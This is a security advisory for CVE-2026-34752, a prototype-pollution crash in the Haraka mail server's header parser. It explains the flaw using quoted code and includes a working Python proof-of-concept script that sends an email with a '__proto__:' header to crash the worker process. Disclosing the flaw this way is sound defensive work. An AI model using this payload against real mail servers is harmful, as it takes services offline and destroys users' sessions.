CVE-2026-34752

Summary

Sending an email with __proto__: as a header name crashes the Haraka worker process.

Details

The header parser at node_modules/haraka-email-message/lib/header.js:215-218 stores headers in a plain {} object:

_add_header(key, value, method) {
    this.headers[key] ??= []          // line 216
    this.headers[key][method](value)  // line 217
}

When key is __proto__:

1. this.headers['__proto__'] returns Object.prototype (the prototype getter)
2. Object.prototype is not null/undefined, so ??= is skipped
3. Object.prototype.push(value) throws TypeError: not a function

The TypeError reaches the global uncaughtException handler at haraka.js:26-33, which calls process.exit(1):

process.on('uncaughtException', (err) => {
    if (err.stack) {
        err.stack.split('\n').forEach((line) => logger.crit(line))
    } else {
        logger.crit(`Caught exception: ${JSON.stringify(err)}`)
    }
    logger.dump_and_exit(1)
})

PoC

import socket, time

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:<[email protected]>\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
# Crash payload
sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")

Impact

In single-process mode (nodes=0), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.